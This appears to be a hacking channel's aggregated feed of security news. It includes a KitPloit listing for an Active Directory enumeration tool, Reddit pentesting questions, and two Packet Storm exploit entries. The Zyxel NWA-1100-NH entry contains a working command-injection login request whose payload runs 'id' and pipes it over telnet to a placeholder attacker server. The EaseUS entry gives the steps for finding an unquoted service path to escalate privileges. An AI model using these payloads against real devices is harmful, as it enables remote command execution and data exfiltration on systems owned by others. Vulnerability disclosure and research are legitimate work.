My Pentest Log -15- (HTML İnjection in Wordpress)

Greetings Everyone from Thrakion,Continue reading on Medium »
Read more...

My Pentest Log -15- (HTML İnjection in Wordpress)
https://hcibo.medium.com/my-pentest-log-15-html-i%CC%87njection-in-wordpress-ba9fb4bf0582?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Greetings Everyone from Thrakion,Continue reading on Medium » (https://hcibo.medium.com/my-pentest-log-15-html-i%CC%87njection-in-wordpress-ba9fb4bf0582?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

ADReaper - A Fast Enumeration Tool For Windows Active Directory Pentesting Written In Go
http://www.kitploit.com/2022/04/adreaper-fast-enumeration-tool-for.html

___________________________
@hacking_Attack
@Hacking_Video

ADReaper is a tool written in Golang which enumerate a Active Directory (https://www.kitploit.com/search/label/Active%20Directory) environment with LDAP queries within few seconds.
Installation You can download precompiled executable binaries for Windows/Linux from latest releases (https://github.com/AidenPearce369/ADReaper/releases/tag/ADReaper) Install from source To build from source, clone the repo and build it with GO $ git clone https://github.com/AidenPearce369/ADReaper
$ cd ADReaper/
$ go build Usage ADReaper performs enumeration (https://www.kitploit.com/search/label/Enumeration) with various commands that performs LDAP queries with respective to it group policy objects spn - to list service principal objects admin-priv - to list AD objects with admin privilege domain-trust - to list domain trust ou - to list organizational units ms-sql - to list MS-SQL servers -dc string Enter the DC -password string Enter the Password -user string Enter the Username ">monish@chimera:/ADReaper$ ./ADReaper
-command string
Command to run

users - to list all users
user-logs - to list user session activities
never-loggedon - to list users never logged on
groups - to list all groups with members
computers - to list all computers
dc - to list domain controllers
gpo - to list group policy objects
spn - to list service principal objects
admin-priv - to list AD objects with admin privilege
domain-trust - to list domain trust
ou - to list organizational units
ms-sql - to list MS-SQL servers

-dc string
Enter the DC
-password string
Enter th e Password
-user string
Enter the Username
To-Do Looking forward for contributors to build the next version Planned features, Custom LDAP querying Filters with existing commands PrivEsc checker LAPS enumeration Kerberoasting Local admin access (https://www.kitploit.com/search/label/Access) hunting Registry analysis If interested, ping me :)

Download ADReaper (https://github.com/AidenPearce369/ADReaper)

___________________________
@hacking_Attack
@Hacking_Video

Is watching something online and downloading it the same?
https://www.reddit.com/r/Pentesting/comments/u753ep/is_watching_something_online_and_downloading_it/

is there a difference between downloading something with idm and watching online? I mean any technicly difference. Not just the internet usage. thanks in advance ^^ submitted by /u/Silver_Duck9800 (https://www.reddit.com/user/Silver_Duck9800)
[link] (https://www.reddit.com/r/Pentesting/comments/u753ep/is_watching_something_online_and_downloading_it/) [comments] (https://www.reddit.com/r/Pentesting/comments/u753ep/is_watching_something_online_and_downloading_it/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to track a redditor's location just using their normal activity (posting, commenting, etc)?

submitted by /u/I0719
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is Grey Hack (Game/ Simulator) realistic?

What are the main differences from reality?

submitted by /u/Yesn05
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How to Interpret the EU's Guidance on DNS Abuse Worldwide

From higher standards in top-level domains to increased adoption of security controls, stepped-up measures can help fight DNS abuse and protect Web domains.

Dark Reading: Attacks/Breaches
Verica Launches Prowler Pro to Make AWS Security Simpler for Customers

The enterprise grade solution will provide enhanced cloud security and provide new open-source tools.

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
ADReaper - A Fast Enumeration Tool For Windows Active Directory Pentesting Written In Go

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX5XcwcM6z2GPlDierqk2Z9t1b0r9QUVzqn0_bWRmHSmKvV0ww2sd1_zS-sj4w3aIwk6xZE4ZPp327qV2yMRLYb00yul_bsJ1-h3_tWzkxeRUD0pmttViz363MSvtEhgy_F4TRl7wJCwqI3HoPC9MX5lP2KLWZg0vtkWt6hTWlvM8Y11DV2DXKL3S5/w640-h442/ADReaper.png
ADReaperis a tool written in Golangwhich enumerate a Active Directory environment with LDAP queries within few seconds.
Installation

You can download precompiled executable binaries for Windows/Linux from latest releases

Install from source

To build from source, clone the repo and build it with GO

$ git clone https://github.com/AidenPearce369/ADReaper
$ cd ADReaper/
$ go build

Usage

ADReaper performs enumeration with various commands that performs LDAP queries with respective to it

group policy objects spn - to list service principal objects admin-priv - to list AD objects with admin privilege domain-trust - to list domain trust ou - to list organizational units ms-sql - to list MS-SQL servers -dc string Enter the DC -password string Enter the Password -user string Enter the Username ">monish@chimera:/ADReaper$ ./ADReaper
-command string
Command to run

users - to list all users
user-logs - to list user session activities
never-loggedon - to list users never logged on
groups - to list all groups with members
computers - to list all computers
dc - to list domain controllers
gpo - to list group policy objects
spn - to list service principal objects
admin-priv - to list AD objects with admin privilege
domain-trust - to list domain trust
ou - to list organizational units
ms-sql - to list MS-SQL servers

-dc string
Enter the DC
-password string
Enter th e Password
-user string
Enter the Username


To-Do

Looking forward for contributors to build the next version

Planned features,

* Custom LDAP querying
* Filters with existing commands
* PrivEsc checker
* LAPS enumeration
* Kerberoasting
* Local admin access hunting
* Registry analysis

If interested, ping me :)
Download ADReaper

___________________________
@hacking_Attack
@Hacking_Video

MobSF
https://www.reddit.com/r/Pentesting/comments/u76hbw/mobsf/

Hello, i would like to ask if there is any difference between mobsf.live and downloaded version. Thanks :) submitted by /u/xTommis1x (https://www.reddit.com/user/xTommis1x)
[link] (https://www.reddit.com/r/Pentesting/comments/u76hbw/mobsf/) [comments] (https://www.reddit.com/r/Pentesting/comments/u76hbw/mobsf/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Zyxel NWA-1100-NH Command Injection

https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
Zyxel NWA-1100-NH suffers from a command injection vulnerability.

MD5 | 53c249ea28f87b074031df4366526f25

Download
# Exploit Title: Zyxel NWA-1100-NH - Command Injection
# Date: 12/4/2022
# Exploit Author: Ahmed Alroky
# Vendor Homepage: https://www.zyxel.com/homepage.shtml
# Version: ALL BEFORE 2.12
# Tested on: Linux
# CVE : CVE-2021-4039
# References : https://download.zyxel.com/NWA1100-NH/firmware/NWA1100-NH_2.12(AASI.3)C0_2.pdf ,
https://www.zyxel.com/support/OS-command-injection-vulnerability-of-NWA1100-NH-access-point.shtml
HTTP Request :

POST /login/login.html HTTP/1.1
Host: IP_address:8081
Content-Length: 80
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http:/IP_address:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://IP_address:8081/login/login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

myname=ffUfRAgO%60id%7ctelnet%20yourserverhere%2021%60&mypasswd=test&Submit=Login


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
EaseUS Data Recovery 15.1.0.0 Unquoted Service Path

https://2.bp.blogspot.com/-byy861XuXi0/WWlvWQTmcNI/AAAAAAAAIOI/mFealIoTV44qfFUu4oCqUAhEFYGzd1o3ACLcBGAs/s1600/h49.png
EaseUS Data Recovery version 15.1.0.0 suffers from an unquoted service path vulnerability.

MD5 | 7545b9443be92e6f8864f35265718232

Download
# Exploit Title: EaseUS Data Recovery - 'ensserver.exe' Unquoted Service Path
# Discovery by: bios
# Discovery Date: 2022-18-04
# Vendor Homepage: https://www.easeus.com/
# Tested Version: 15.1.0.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows 10 Pro x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name,pathname,displayname,startmode | findstr /i auto
| findstr /i /v "C:\Windows\\" | findstr /i /v """
EaseUS UPDATE SERVICE
EaseUS UPDATE SERVICE C:\Program Files
(x86)\EaseUS\ENS\ensserver.exe Auto

C:\>sc qc "EaseUS UPDATE SERVICE"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: EaseUS UPDATE SERVICE
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\EaseUS\ENS\ensserver.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : EaseUS UPDATE SERVICE
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\>systeminfo

Host Name: DESKTOP-HR3T34O
OS Name: Microsoft Windows 10 Home
OS Version: 10.0.19042 N/A Build 19042


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video